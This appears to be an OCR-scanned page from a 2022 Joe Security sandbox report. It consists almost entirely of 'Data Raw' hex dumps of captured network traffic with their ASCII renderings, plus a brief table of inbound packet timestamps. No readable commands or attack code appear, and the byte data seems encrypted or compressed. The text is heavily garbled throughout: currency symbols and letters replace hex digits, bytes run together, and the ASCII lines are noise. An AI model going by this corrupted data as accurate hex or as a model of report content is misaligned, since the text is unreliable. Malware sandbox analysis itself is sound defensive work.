_""H&U[Z\WPrggwVC]{9wjPClwKUU

Data Raw: f4 89 1c 12 0a 2a 59 7e 10 b7 05 33 6e 4a 68 df 35 0f d7 e2 18 b6 3b 2f 2¢ 49 65 16 9b 46 c6 35 a7 6d 75 11 ff
7d 12 ad 37 20 87 d3 ab 9a 20 7b 3e 73 93 6f 5¢ cb 17 87 6a 23 87 aa 1b 90 55 fc 83 54 30 2c ce 79 45 cc 3 03 f4 6b 42
8c d7 868899 6b fc 11 f5 19 f9 15 88 8e 5¢ fa 96 57 43 5d 47 98 ef c9 b0 10 89 60 69 97 63 f2 49 9e 2e 5a 6a b9 c2 fb

35 b4 51 5a 63 77 98 ba 9c 8f bb 91 ¢8 €5 90 ad c7 48 ec Oa cd 10 43 37 a7 bc Oe 5e 8f d2 41 69 b3 4c 51 82 a3 16 2a 13
c112 36 db 92 4b e5 93 ee 4b 67 aa 3 47 54 f8 Oc b1 65 2a 79 e9 f7 45 8b 4e {3 3d e0 6f 52 dc bc b3 f2 2f 4d Ob de 4a
6 8c 7f b3 9e a4 cf 9b b9 fe f3 ¢2 39 84 c2 a3 ed 06 5d dc 6a 89 aa 71 4f eb df 44 ca f7 a5 e9 ae 78 47 bc d0 90 25 ef 1a
7a a2 f0 f8 32 42 c3 8f d9 b4 20 6¢ 77 da 2c 20 c6

Data Ascii: *Y~3nJh5;/,leF5mu}7 {>so\j#UT0,yEKBK\WC]G icl.Zj5QZcwHC7AILQ*6KKgG Te*yEN=0R/MJ9]jqgODXxG%z2B
Iw,

Data Raw: 38 54 ee f3 ab f4 af 24 82 af df 19 62 b0 f9 4a 6d dc 59 99 7f ca 97 fb bc bd 8a 27 al 2e 6a 50 3d cf b6 ce 40
Oe 8c 45 5¢ dc 47 b3 ed 21 fa 5b 37 8e 66 0f 37 e4 cd 3c dc ab df e4 e8 9d 27 05 6b 30 73 c9 ef 65 f7 58 6¢ 1f a4 e3 3a
4c 0d c2 39 44 Oa cd Oe 18 cb e5 de f1 7b 36 ef 86 28 fe Oc 7c c3 89 eb cf 7f ba ce 6a f2 39 46 e0 87 ee bd 2f fe 8a 2a 1d
57 fa 95 21 73 82 19 89 66 de 36 14 b8 66 20 da 68 99 49 c1 85 22 61 0b 61 32 bf 2f a7 5¢ a5 b2 81 19 02 90 02 2b fe fc
15 5f 8f 95 72 5b af cc f2 fe 10 fd 6a 97 f9 b5 12 82 f6 55 9d e4 e4 cc 7e €6 63 91 de 82 84 c0 ce 12 60 6f 69 10 c3 d2 5e
4c d9 5b d1 46 4d 46 27 8a 76 49 c6 ea 9a 56 03 19 b1 a7 20 ba be d6 c9 ef ef bc 67 eb d0 a8 05 4e 3e 17 44 54 ed f2 ec
33 ae 40 7 7d b4 90 83 5f eb 07 20 4f 8¢ 29 8¢

Data Ascii: 8T$bImY".jP=@E\G![7f7<'kOseXI:L9D{6(|j9F/*W!sf6f hl"aa2/\+_r[ju~c oi*L[FMF'vIV gN>DT3@}_ O)
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kBytes

Timestamp transferred Direction
2022-05-02 11:02:01 UTC 95 IN
2022-05-02 11:02:01 UTC 100 IN
2022-05-02 11:02:01 UTC 104 IN
2022-05-02 11:02:01 UTC 108 IN
2022-05-02 11:02:01 UTC 112 IN
2022-05-02 11:02:01 UTC 116 IN
2022-05-02 11:02:01 UTC 120 IN
2022-05-02 11:02:01 UTC 124 IN
2022-05-02 11:02:01 UTC 127 IN

Copyright Joe Security LLC 2022

Data

Data Raw: fe 8 60 b9 48 e8 52 c5 06 49 5d 43 41 17 a7 cc 5d 11 4b c1 €7 49 67 eb €9 67 7e 43 01 b7 66 27 89 79 38 87
70 e3 0e 57 05 10 d1 f2 16 65 29 Oe 56 7e fb 2f a3 2b 72 22 €8 7e bd be 46 75 62 91 c1 77 dc 1e 01 67 8e 42 59 ae Oe 24
50 dd 07 6¢ bd f1 96 21 44 68 8 aa b1 68 ce 16 c2 e0 cb fd 36 be 7c 34 a3 db 2a 48 4c 55 a9 a8 le 8d a0 4a 49 7 b7 ec
e5 b9 d1 8a 22 6¢ ae Oe 32 00 45 9c bd 1d 43 63 4c c2 16 50 7¢ 9e de 0d 43 1b Ob a2 dd e5 7a 2e 17 eb 70 46 17 08 ff f1
3f b5 40 66 3f €6 ec 2b 4b d0 91 1f b8 b0 6d Oc c4 3c 95 e3 5b 5b 5e 19 ff 03 77 b4 46 7f 86 7c 45 64 a8 ee Ob a3 d0 dc
7750 63 04 5b 3f fa €5 3d 9f c0 16 2c 3a fb ba ec dc c4 Oe 50 83 00 ee e2 cd c5 54 76 9e da 23 1e ae 86 23 20 2e d3 bd
dc ae 5¢c 94 17 3c 7d 8e a8 b6 1f 48 15 1e 31 52 57 63 90

Data Ascii: "HRIJCA]KIgg~Cf'y8pWe)V~/+r'~FubwgBY$PI!Dhh6|4*HLUJI"[2ECCLP|Cz.pF?@f?+Km<[[*wF|EdwPc[?=
,PTv## \<}H1IRWCc

Data Raw: 59 d2 db a3 3b 72 cc d1 9a c9 64 b4 22 a7 fe cb 39 09 eb 9e 49 d2 4d 6d 5f fb 87 cb 7b 69 a2 29 fb 00 fe c7 31
9d 48 ea b8 f8 22 48 5b 3c 27 Oe 3f 6b 83 38 ca 8b 1e a9 le c¢7 98 b3 c2 08 bf c2 10 b2 50 be bb 9a 0f ac ab 35 52 35 95
be ca b5 00 55 10 b6 66 43 75 f4 b5 af ad 92 40 d3 8d 17 97 15 40 01 e5 b3 0a 34 3a 6b €0 53 bf 50 25 4e 6b 74 e8 d8 8¢
Oe 3a 62 4b 55 d8 3a 55 75 dd c1 47 a5 42 Oc bd af c9 79 9e 9b da e5 00 f6 53 3b 07 43 09 4d 73 70 e6 99 49 4c 2a 04
0854 30 ca e9 99 90 7d ac 54 65 95 43 b8 05 ae b4 ae f4 07 1a 72 08 b4 bc 8¢ 4b 13 da a2 3¢ 6¢ 00 38 58 a2 d3 2e c9
d2 c6 1d df 3b Ob 4f 05 a3 97 f4 c8 0f 97 fO 4b d3 ff 45 d6 ea e8 32 32 7f 66 fd 58 ad 12 ed 99 2a fd dc b0 7b 34 67 67 al
67 5e 4e 38 f8 a7 ¢5 d7 45 98 83 al 43 30 d2 cd 53 d8 8d

Data Ascii: Y;rd"9IMm_{i)1H"H[<'?k8P5R5UfCu@ @4:kSP%Nkt:bKU:UuGBYyS;CMspIL*T0}TeCrK<I8X.;OKE22fX*{4ggg
ANBECO0S

Data Raw: 3e ¢3 02 53 8b ff 71 90 16 56 c3 79 24 a2 44 65 69 ac 9f e7 87 dc Oc d5 b1 9a 9f 05 40 84 64 53 74 05 1f 83 f5
73 b9 94 10 d0 6b 5b 95 42 c2 68 57 Oe 66 8f ea 58 34 c9 da el a5 3a 5¢ b8 a6 71 ba d9 aa 75 Oe 31 99 e7 ef 4f f1 09 3b
21 47 76 6a 25 07 63 7d 6¢ 96 a4 85 Oc 91 05 ce 3a b4 b3 19 45 24 79 02 87 39 af ac 75 8c 82 d3 1d Oa 23 50 b1 ff e3 5b
8 1d 4b 40 c4 14 c0 5c¢ 6¢ 8a 23 57 79 5b aa d1 a5 00 c7 4e f8 c9 b0 26 34 19 e8 5a fc 32 df 42 d8 1e fO de 7b 13 c6 al
b7 a0 cb 9¢ 13 Ob b7 45 f3 b7 74 fa 77 85 67 51 24 51 2e 02 2a 54 b1l b9 8c 39 98 56 26 d4 8e 38 bf 18 c7 ae 57 e7 28 f1
12 91 1e 2a 7d e4 cd 05 65 d0 Of 01 c9 8a c3 50 36 7c 7d 2b {3 f0 27 9b 4f 19 b6 08 9a 9b 1f fb fd f4 87 df ad c3 f0 24 ff 40
51 ca 5d 7e 6d ac ab 99 9d da 47 b1 0d 8e d1 3f
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@QJ-mG?

Data Raw: b1 db al 3d Of b3 03 4a e4 01 26 50 29 14 2a 17 21 90 53 97 ff dd 5c be el f2 36 5b 7c 87 4e e2 c6 83 56 6d
4273 ab 79 ¢8 96 11 1b 57 2f b9 19 €9 60 87 64 47 cc fb e2 cd 24 Oe 04 56 eb 16 62 8d 73 c0 4f d2 57 61 ae 90 92 e3 5d
dlal397d 95 1c 31 7a8eb5ccd9d2d 1d 3c eb 90 eb 28 06 d2 90 Oa 62 5f 43 el 6e c2 Ob a6 84 66 c8 7a ca 6a 47 ed
de b9 e8clcl4leae5b6eddd2e5bba40 a0 f6 93 d7 f7 a7 76 a6 de 06 6b 0a 5¢c 00 18 df b0 2c a9 a5 2f 43 7f b4 70
11 8558 c9 53 e4 88 2f 98 00 43 8d a5 3d da d6 32 6b e6 38 ff 42 ¢9 92 83 5b 2e 94 9b 12 55 39 5a d3 8b 3e d2 9d 74 da
ea 48 5c 9e ce 42 10 73 0a 7b 02 8 4f 3c b7 4b 46 08 d7 2a 4d ad c7 40 ac 0a b2 27 2f 2a 18 40 ec 64 65 ce 67 29 85 67
e3e795 dadf 21 01 d9 ed 64 ac fc df e7 ce 82 40 74 4b 74

Data Ascii: =J&P)*IS\6[[INVmMBsyW/ dG$VbsOWa]9}1z-<(b_CnfzjGA.[@VK\,/CpXS/C=2k8B[.U9Z>tH\BS{O<KF*M@'/*
@deg)g!d@tKt

Data Raw: 09 81 6b bf 63 1d a5 ef 3d a9 c1 06 97 d7 b7 03 b2 86 84 0f 05 b6 f3 b6 74 34 55 9f 3a d3 4a 68 16 80 7b ea
62 16 1b 36 af a9 f0 90 b8 a7 2f 2b 2a 84 c5 ed d8 20 e6 6e 9e 9a e3 a5 bd 14 Oc ae ac 14 4e 17 60 e2 7e fc 5f a2 dd b6
6 5f 21 1d fe bd ca bd b7 03 26 c2 94 ea f2 75 ¢3 18 09 el 99 80 5c ac 09 e0 a4 3a 00 89 9a a2 b2 4f 5b 97 c7 {7 32 81
4e f6 37 db c6 42 a9 3c 63 c3 €9 51 4e 03 e9 97 fc db ab 5d df a5 bl f1 65 4c 04 13 b2 df 62 ab 66 38 67 4b 21 9d d7 1e
5894 37 73 9a 99 42 3e b3 ed ba 49 6b 52 fb 18 cd 5b ce ae bd 3b 3d 85 c0 3b 81 a5 c1 6 f9 bd 70 6¢ 72 b8 4f d3 8e 3d
3a31f6 ec 1a 67 be 39 cd 1e 49 a7 12 21 b5 f1 77 39 f5 ae 21 2b 96 b2 64 e4 6a 01 Oc bb f1 80 c4 4d fa 96 66 86 d6 07
9b cb fh 01 ff 89 76 Ob f6 38 1a bb 5c c0 Oe 16 22 13 03

Data Ascii: ke=t4U:Jh{b6/+* nN'~__!&u\:O[2N7B<cQN]eLbf8gK!X7sB>IkR[;=;plrO=:1g9l!'w9!+djMfv8\"

Data Raw: be 42 9e 61 8e 5a 62 83 3¢ d9 84 f1 98 18 51 a6 84 4e 3 97 8a 45 Oc 97 97 51 32 d0 05 8b 6e c7 ac 36 cd 98
d6 0a f5 00 9a d7 d5 e7 27 79 f4 fa 99 c4 84 6a 67 ac 4e 8f b2 29 43 50 cb 07 64 19 15 bd ba Ob 60 ce 66 10 c4 24 Oc Ob
3b 52 59 ¢3 56 32 30 1d fb €7 59 €9 16 35 7d 94 17 0d 96 fa fb f6 04 de 05 6d 48 58 ba 85 1f fa 1d 7f ee cd 5a bd bc 99 e4
3¢ 22 aa 5d 64 4e 45 39 b5 15 ca 29 8e 99 b f2 5b 59 3f d3 62 10 b5 90 f5 b7 40 76 88 81 8b 5c 85 fc 81 54 3e dc fe 5e
4d 5d f6 al 86 Oe 10 5a 52 ae 7 93 3b d1 8f 46 de 14 8f 08 9c €5 81 c4 fd 91 c1 7 25 9a 1a 8d 98 0a 66 3b 09 ce f2 63 Of
cd 9c 67 b3 67 54 de 58 5e 12 f4 17 21 19 43 d3 ¢8 72 6f 01 c1 c9 84 06 b4 64 b2 33 Oe cO 8c 6f 16 6d 12 9d 09 84 59 57
d0 83 €6 74 47 7e 34 98 a0 a8 66 9c 53 fa 43 2d fb

Data Ascii: BaZb<QNEQ2n6'yjgN)CPd f$;RYV20Y5}mHXZ<"JdNE9)[Y 2b@W\T>"M]ZR;F%f;cgg TX N Crod3omYWtG~4fSC-

Data Raw: 23 fc bc 6b 30 a8 34 a6 dd 60 98 9f 08 b8 Oc 18 a3 1c 13 43 fd 65 26 05 b6 51 Oc Ob 89 cf 98 71 3b e5 aa 06
54 9c €9 Oe aa 1c 5b 08 5a e7 76 bd e4 c0 29 e0 32 a0 85 13 88 a9 eb 45 6a 9d 99 11 d1 f4 2d 09 b0 ad 4b 14 fe 07 3¢
32 46 4f b0 11 f6 01 7c 22 c0 d6 1a 80 Oa 20 9d 2f ce eb cf 84 48 3e Oc 47 ff 63 ef 17 c9 ca ce 8d 1b 4a f5 1e fe b2 cf 87
34 ce 6e b2 7598 13 02 e0 3c 78 6d 3a ac ¢8 9c 8d f4 1b 39 04 60 5 f3 cO c4 1a 96 11 33 cc 26 Ob Ob cb 5a 8e 2e ea 2a
92 b0 68 12 32 16 8e 26 fa 4d 34 d7 14 6e 41 2d 3b e3 1d 29 ca 7d 25 d9 f6 60 53 c0 b7 €9 9a f8 ad 3a c9 61 6f 00 54 eb
e3 ef 39 1b 47 99 47 52 39 9d e0 56 df b9 16 f1 b2 e7 db ed Oc f5 70 3c d8 2e a7 d4 97 Of 7f 00 4b b8 3b d1 57 4b 60 f1
d4 88 86 1a 77 9e 1b Of db fb 5¢ 32 16 95 09 d0 d3 74 9of

Data Ascii: #k04' Ce&Qq;T[ZV)2Ej-K<2FO|" /H>GcJ4nu<xm:9 38Z.*h2&M4nA-;)}% S:a0 TOGGRIVp<.K; WK w\2t

Data Raw: 83 7a 75 96 €6 72 ee ¢4 10 18 ec d5 a9 72 al 52 f6 fd 54 d1 b8 44 7b 64 9b 43 9f 4c bb 23 7d 18 44 95 d7 70
1c 77 08 26 15 ca 50 2d 88 20 76 c9 75 69 64 77 ec 6b 2 9f 13 77 a3 32 e3 5¢ a8 0f bf 8a 00 63 87 ea 8¢ 59 0d ce de ff
b8 df c9 b7 93 63 ec 9d 55 23 f3 ae b6 03 ac a8 06 aa 32 b4 af 8c 94 b0 e8 b2 97 a4 c9 7e 1a 30 26 67 af Ob f6 e0 52 af
¢4 38 35 31 9b 79 3b 53 5a 3e c2 53 5b 00 88 15 3e 74 6d 4f 12 €9 7f bl dc 1e dd 25 06 c8 1c 3e de fa c6 c0 1f 73 12 4c
d3 57 27 bc ca 19 ea 08 ae 45 da 8b 56 66 5f 22 b8 b7 4 5f 0d 48 2f b9 {7 8f 12 19 99 1a 81 3e 86 95 6f 30 be df 0d 60
7e 3565 59 b3 81 79 e7 60 €5 0d 43 72 5e 60 9a 50 43 bf d5 4b 62 cd 24 a6 0b 50 d7 d3 f5 af 06 8e 08 b9 9f 2e d1 48 1d
5a 62 fd b2 bb 2c a8 f0 81 fe 8b be a2 fb f4 0d 40 a0 f9

Data Ascii: zurrRTD{dCL#}Dpw&P- vuidwkw2\cYcU#2~0&gR851y;SZ>S[>tm0%>sLW'EVf_"_H/>00 ~5eYy Cr*' PCKb$P
.HZb,@

Data Raw: 1b 87 6d 88 7d 06 10 74 da 16 43 f8 cd 4d 1a f9 a2 99 bd 44 04 16 62 f5 37 22 d1 4c 5f 88 58 86 19 ef f2 ac 94
0d 99 52 3c ba bb 08 37 0b 8f 7f 26 ff 29 d1 77 20 ed al Oc fO d8 5e 2c 69 6¢ 45 c5 30 Oe 5f 2a 1c 09 b6 71 a5 ce 98 5b
91 4c 1f 7d 59 f2 d1 d9 84 66 6¢ dd 16 25 33 10 80 04 b8 05 4f 35 78 83 95 bc 72 cd 98 33 94 Oe 59 67 cb 99 94 bf aa 64
1c 75 7b 7a el 2f a6 37 6¢ fb 05 06 17 9a ba fe 7 f6 25 74 e7 bb ¢8 19 03 65 0d e2 a3 fd 2f 8b 83 3b fa 13 1e 89 6f 65 13
9d b1 7b 1c a3 95 0b fO 7e 9 d0 19 9d 78 33 f9 64 66 d3 7e 60 b9 bb 6d b8 8b 41 a6 07 7a fe 71 03 6d 10 ee 10 bc c9 €5
04 Oc cd 07 65 b5 13 3f 47 54 ab 20 50 ad 07 8d 7a 37 1d 93 ba bb b7 e0 46 c1 c8 05 fc 4f 3b cc 65 cb 21 af ed 88 9f 75
17 11 ed 38 24 29 51 b3 78 a8 24 f3 d8 58 50 4e a4
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Data Raw: 35 64 ed ce f6 a2 8e 79 8c 78 5a 01 26 d6 91 d1 80 5¢ 06 ae 3f 63 b1 bd 14 38 71 c2 24 d5 6d 38 64 ad 79 e6
ce 40 fO ae db 8a 50 b6 2d aa 1b 6e 5 71 eb 2d bf d2 a4 d3 44 5¢ 19 3c d8 77 b4 4a c9 c9 f3 2d 9a 10 af {8 2e 3f db 40
38 c8 df 44 bd f6 7a 56 7f 5¢ 47 14 4a fe fe 48 eb f8 5b 72 7b df 84 5e f5 33 c4 3f 7c 52 c4 e6 04 d4 3e 22 8¢ 07 2b 3d dO
df 85 4b fc 69 63 6e c8 a6 Ob €6 99 b5 51 3d ef da 48 d3 c1 0a 28 54 c9 4a 49 41 85 ef 22 d2 ba da d8 23 f9 24 cd b2 83
04 b3 64 b3 19 09 ad 66 58 56 d8 4c Oc d7 c6 25 8e 9f 51 38 76 93 f4 51 d4 4e 21 6f b2 33 1a 4a f6 df 29 bf 39 91 05 €9
al8ee3clebal91632be250c6f55cc9 f4389e86all538f54bdc4d dé abé 94 5b d0 36 f8 34 5b 49 bb 22 40 8e
04 6¢ 15 17 85 ¢6 01 31 98 7a 2b 65 00 c8 20 9b 32 dO

Data Ascii: 5dyxZ&\?c8q$m8dy@P-ng-D\<wJ-.?@8DzV\GJIH[{"3?|R>"+=KicnQ=H(TJIA"#$dfXVL%Q8vQN!03J)9c+P\8
BKM[B4[I"@I1z+e 2

Data Raw: 96 df 33 6d e0 29 fe 12 60 8d b7 9d 2f 84 ff 16 71 60 70 cf 13 f9 11 92 11 42 15 33 cb 62 49 ef 08 27 f2 b5 2¢ 9f
27 54 0c 2d 83 58 e5 e5 96 d5 ea ea a3 a5 3f 0a 65 b2 7e 62 16 77 cf 85 c5 bd b2 5¢ d0 2f 74 ed c¢7 1a 06 68 fd Oc 48 f2
76 34 9a 84 €3 48 c3 5¢ 09 86 eb 47 c3 cb 61 dc ¢5 03 b1 49 c7 87 ch eb f1 06 58 94 56 c2 da a6 66 c0 68 11 e3 7d 7b

08 dc 01 2b 6f d3 b9 4d 86 d6 9b 27 67 50 9d 05 fb b7 42 77 60 d5 37 34 94 e3 5b 5¢ 87 35 ce f4 42 87 11 19 33 1d 6a ca
d4 ae 44 9c c9 57 e8 8d 78 eb ed f9 b0 70 48 62 94 39 60 6d 2c bd 21 03 c0 7c d2 25 49 21 2d 7c 72 20 fa ba 67 5e 6b 43
98 6b 63 d5 79 ea 81 ea d7 bb a4 ab 57 5f 86 aa €6 Oc e5 b9 e4 fd 95 b8 92 b2 08 24 b3 a4 f9 ¢4 72 d1 d0 a0 d3 58 25 d9
17 52 36 3d €8 4c 4b e6 d9 97 58 e8 5d 23 ca 84 6f 33

Data Ascii: 3m)’/q pB3bl', T-X?e~bw\V/thHv4H\GalXVfh{+oM'gPBw 74[\5B3jDWxpHb9 m,!|%lI!-|r g"kCkcyW_$r
X%R6=LKX]#03

Data Raw: 83 e7 a8 Oe 94 b0 4c c0 06 ae 2e f7 7c 33 5f 09 c9 fd 85 07 72 01 ¢7 20 2c 75 41 1e f9 0d 72 b9 14 43 af 11 fa
8 57 fa 23 a3 42 24 e8 04 84 6d 6¢ 9c 19 12 21 97 d4 a2 40 25 90 b9 76 6b 24 39 c¢7 84 9d 42 c0 16 c4 91 b6 87 €0 00 df
ed 69 17 e4 86 77 40 d2 55 6d 5e 76 3e fb 9a be 1c b8 9d fb 6d al 8f 34 b2 7b 61 1d 6e 38 f8 €7 ab b4 bf 34 8a ae 29 84
f2 1c 8f f8 64 f4 69 cc 03 de 1b 9f e0 84 1b 6 25 4c 29 ad 7a b0 5e ff d5 36 f2 09 2e fe 03 dd 71 ff df da cO ec a9 79 a5 bc
62 e8 e6 e4 98 83 eb 77 87 73 73 57 b0 56 1d 38 fc 55 f4 1d b6 46 99 26 da 3e 6a f2 07 14 bb 94 cc el 07 e5 37 91 38 38
40 5f aa 55 b6 16 a4 f8 8d 03 86 e4 30 c2 ae 2e af d5 82 c1 e3 1c 77 a8 a3 ba dd 91 3f 63 a9 5a 4e 53 75 33 14 15 ac cb
0 6¢ 4d d6 fO c9 4c bc 63 89 16 0d f1 c5 79 6d
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Su3IMLcym

Data Raw: d7 el 53 69 53 05 7 fd df 8d a3 9d 57 13 06 75 e4 54 81 71 07 b0 68 0d 89 c3 d1 8d 44 dd 55 09 15 6a 16 d1
8e a7 8e 06 99 44 a7 de 39 36 80 15 97 8f 7e 14 12 a9 89 5e Oa 05 6f f5 22 92 b8 ef 00 ee c5 25 76 Oc 11 b5 b6 55 8d 7a
4c 6 db d6 c1 7c ba 30 e2 4e 4e 65 53 7d 52 b5 b9 ff 46 99 ea 73 a6 65 39 Oa e5 f1 a9 9e 51 21 70 ba 4c 81 d7 1a c8 6d
29 97 46 €3 91 ¢4 ca 75 85 9a b6 7c eb 80 8b 53 8c 18 75 8b af 3f 24 el a3 el cc 4a 1b 39 63 20 97 03 3b c8 93 4f dc bb
a4 89 cd ad b3 2a a2 15 e6 3d 51 el 5a 86 cd c2 a3 34 ed 72 b1 c2 63 8b c6 51 22 fd 81 aa 7a b5 66 b5 ff 7c 23 74 1d 20
bf a0 89 06 6d 95 3d d4 6¢ e6 ec e4 95 b7 c1 9e 86 1d 37 1c 4e ac 63 aa e4 c1 83 03 54 3d c4 ef ¢1 93 d1 28 75 a2 5d 03
4d 73 5d Oa fd 80 99 2e 2b 59 9e 8a d4 c0 d8 05 8a 65 9d

Data Ascii: SISWuUTghDUjD96~"0"%vUzL|0ONNeS}RFse9Q!pLm)Fu|Su?$J9c ;0*=QZ4rcQ"zf|#t m=I7NcT=(u]Ms].+Ye

Data Raw: a3 4c 11 90 ea 5f 1f al cd 38 12 92 3c el d7 02 f2 67 6a c2 5e 3d 91 ce 2c 62 13 d1 81 ce 1la a7 23 9a 05 23
b8 50 Of f2 ec 1e dc a4 2a a5 30 85 32 ca 37 9d al 32 1b 29 16 04 78 be 98 9f 98 95 46 €8 21 ad 5f bf al fa 54 02 e5 le
b3 02 4a a2 61 63 3a c2 3c 85 5¢c ee €8 8c 73 b9 59 fO d1 4a 32 96 90 b6 65 6e f7 el d7 dO 37 f3 99 32 28 69 f4 59 92 ab
8b a8 da 89 65 99 c6 4b 1c 97 91 51 1f 3e ea dd el d7 df 76 60 ba bl 2a 14 5b 47 ab 10 51 53 89 92 16 eb a8 c4 66 af fe
db ce 98 a8 af 81 e6 90 72 86 d2 3a ac 0f 74 1c 3d 1f 42 b3 be 6f 3a Of e7 5a d6 74 43 d6 26 97 65 02 €6 6 ef 81 ac e4
3c 82 d2 62 4c a7 48 80 5e b1 06 f7 1d dd 00 5d 41 da 71 3e 25 b7 2f 97 3a 81 8d 1b 2a Oc b4 55 17 66 09 8d 6e Oc 25
7e d9 36 9e 57 8f bb 7d d2 74 ec b6 8f 41 ca 22 dd 33 28 8d

Data Ascii: L_8<gj*=,b##P*0272)xF!_TJac:<\sYJ2en72(iYeKQ>V *[GQSfr:t=Bo:ZtC&e<bLH"Aq>%/:*Ufn%~6W}HA"3(

Data Raw: ad 4e 36 20 24 f5 44 05 1d 7b 82 9d d0 1b d4 86 d2 29 f8 02 38 85 2c a5 d5 c9 6¢ 5d 11 75 e7 01 8d 87 ce 02
5f 97 5b 1d 7f 76 el 6f 96 8f 3d 45 7d cf b7 ea 35 8a 2f 42 a0 6¢ 11 Oc e0 ¢4 1a 5d 16 df b7 54 38 63 ca 8b 16 8¢ cf 66 55
70 07 b8 68 Oc fe cc 4e 46 87 98 8a 88 2b 20 55 92 3a d4 43 d6 50 e5 b2 e4 6¢ 24 00 e8 e2 41 ea f0 74 c2 al 4f fa 5d 71
04 9e 23 90 4a 90 f3 95 35 6¢ 20 15 15 bc af 5a a9 4b 03 29 aa 00 d5 82 13 1b 24 1c f0 97 53 62 53 a0 89 c6 c6 3b 3e 01
2e 82 ad 89 5f b3 f5 17 35 d3 al a5 99 53 85 35 65 dc 74 f1 94 6e f1 bf 3f ac 49 c0 f6 d7 6b f1 ac 4f ca 17 e0 e3 bf bb 30
37 da 1a 30 fc 3a 5a chb ca a9 b8 17 9b eb eb 64 9¢ 98 15 49 a5 38 98 e6 ae 20 3d 35 5d f8 d6 84 bc 86 a9 63 Oa 3d 69
€7 be 17 cc 76 75 52 06 a9 30 7e 97 76 14 1la 11 20 e7

Data Ascii: N6 $D{)8,[Ju_[vo=E}5/BI]T8cfUphNF+ U:CPI$AtO]q#J5! ZK)$SbS;>._5S5etn?IkO070:2dI8 =5]c=ivuR0~Vv

Data Raw: c9 ae e8 dd ef 66 51 64 4d f1 84 f9 dc 13 42 22 91 65 2d 26 c0 2d 46 36 a6 b5 b2 a0 2b c6 65 7a d8 c1 d7 89
15 cb Oa fa b8 ef 1b 06 47 a5 71 15 12 e8 a2 1c 66 9f b9 84 98 7a 2a 2d f6 ¢8 24 d0 16 d9 69 80 77 03 94 ea 33 el 56 36
8a 3b 56 6a b3 3d 16 e2 cf 8d 35 a8 97 4d 66 10 a2 e9 93 5e 06 d2 a3 a9 88 08 c9 81 51 17 76 20 50 64 3a 4d 14 c8 fe
08 de 97 ca c4 22 65 b0 6d 90 6d 84 db 5¢ 74 1d a7 ff bl 2a 22 6e eb 4c 96 9b 61 76 92 8a 02 b1 fc fc d8 3d 90 08 2a af
c5 2a b1 02 25 65 4d 75 52 9d 62 8e 4c €0 05 4d e0 2 87 cd 1f 2b 7e c9 59 28 37 9e 3c fc fe Oc cf fd 0f 33 48 24 c2 e3 f4
3d f8 bd f3 ab 73 ab 6b f7 38 12 cb ca 43 2e be 9f c7 95 ea 71 53 26 2a de Oa 7d 69 dd e9 80 ec 3f ca 44 64 Oc dc 20 9a
69 b3 01 f6 d8 b3 ab d9 5c cd e8 8d 75 bc ef 93 4e 8b dc

Data Ascii: fQdMB"e-&-F6+ezGqfz*-$iw3V6;Vj=5Mf*Qv Pd:M"emm\t**nLav=**%eMuRbLM+~Y (7<3H$=sk8C.qS&*}i?Dd
i\uN

Data Raw: 17 97 5f cf 67 a6 bd 1e 7b 6f 93 9a a4 ce 9f 65 29 ee 49 24 33 1f Of cc b4 d7 7c 51 a9 81 0a 92 22 ec 7e 93 ed
c6 16 Of ba b7 ad el ce 87 e9 3f 18 cf 8a 38 76 73 7c 40 f9 df 5e 6d 3e bl 82 ae 7f 44 28 38 56 8e 9d 16 28 63 2b a5 ee
ac 77 0ac4 5¢ 4b 0d ec f6 2b Oa ff 3f 61 92 c5 11 a3 e6 d3 58 25 bc 25 fd d3 Oe 5¢ 32 89 ea dd 68 ca fc 8d al 87 ab f7 30
4297 9f e3 f0 77 19 65 ad e3 79 15 91 f6 c4 a0 ac 22 e4 54 8d b8 ed 58 05 58 ed 54 9d 59 a5 7e b4 d1 92 a6 cd 75 49 db
9a 64 fa 9c a9 6b 70 f1 96 ac 19 66 a7 4c 41 1b d4 23 99 86 17 76 10 55 16 eb 30 46 dc e5 dd 72 7e d8 cf fd 23 62 e6 be
cd 12 1le 73 56 f2 28 f4 39 2d ee cc €8 17 €9 1d 2d 45 e0 51 4e 68 55 8d 74 51 7a ac 24 2d d6 f9 7a ca 4b b4 3e f4 d2 el
bf 50 5a 8e 8 59 9a Ob b6 4a 8d a9 04 3c cf bb cc

Data Ascii: _g{oe)I$3|Q"~?8vs|@"m>D(8V(c+w\K+?aX%%\2h0Bwey"TXXTY~uldkpfLA#vUOFr~#bsV(9--EQNhUtQz$-zK
>PZYJ<

Data Raw: 99 c6 ae 88 f4 a5 35 f1 50 74 27 8¢ fa fd 22 7c 02 b3 c9 66 a7 1e fb ca 36 64 dc d8 40 87 83 1a 37 60 c0 83 22
8e 01 e5 22 fc 6e db 67 4a 32 d4 f6 20 88 Oe be 29 56 52 72 bd 16 50 6f 41 1f ad 70 9d 25 9d fc 76 25 48 91 c1 d4 Oc e6
el cf9b 93 bd 17 9f c1 5¢ ad 9e bc 39 0f 96 fc 2e f7 0d 20 b2 71 93 3a €9 5f 79 10 67 d0 6d 6d ec 8c 4f 72 Oe aa 47 34 1f
89 41 df 42 82 97 3e b3 51 db 46 ea bf 34 05 Oa f4 bf fa 70 3e b0 fa e2 a3 8e 6¢ 56 72 82 13 ba e8 39 f2 5f ba ae af 29 e9
3c 94 1la 4d Of fd 1a 15 51 ae 33 el 62 ac a4 93 41 19 2c fd ec 9f a2 72 3e 47 3e 31 97 b5 25 61 1d b8 cb ca e8 02 21 f5
019 Oc eb 21 92 92 99 70 c3 d2 65 7a b5 89 ea 49 92 7a 8e 92 a3 47 a6 84 6¢ 3d 29 c5 d2 38 43 93 3c a5 Oe fd 65 51
3b df 1b 91 f9 ¢9 3c 01 8d 5 a0 c6 2d 25 38 35 cb
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Data

Data Raw: e3 e2 93 4e a7 ca cl 4a 9b 1e a9 c2 79 2e 65 a6 d7 5f 9d 5f 0d 32 b9 c8 36 e6 Of 13 a4 44 4a a8 be 34 73 3f
4116 61 51 bf a5 al b1 99 5b 98 0f 9c b2 d5 07 6¢ 90 4e 59 22 0f 10 b7 8 2f ac 89 32 79 d1 fc 52 Ob 2c b3 d8 26 68 59
53 9c da d6 36 19 a2 45 5b 72 03 4b 10 f1 c3 eb ¢3 d5 Oa 3d 26 4d a2 70 3d e5 4e b2 41 7a ce de b7 fc 2e 27 ad 8b al
87 8a 8a a5 ce cd 31 7b 9a c8 45 ec Oc c5 4f 1e 64 8a 11 79 62 2a a5 f1 40 b8 01 fe 8d 54 3d a6 18 3d 45 bb 69 12 9c 52
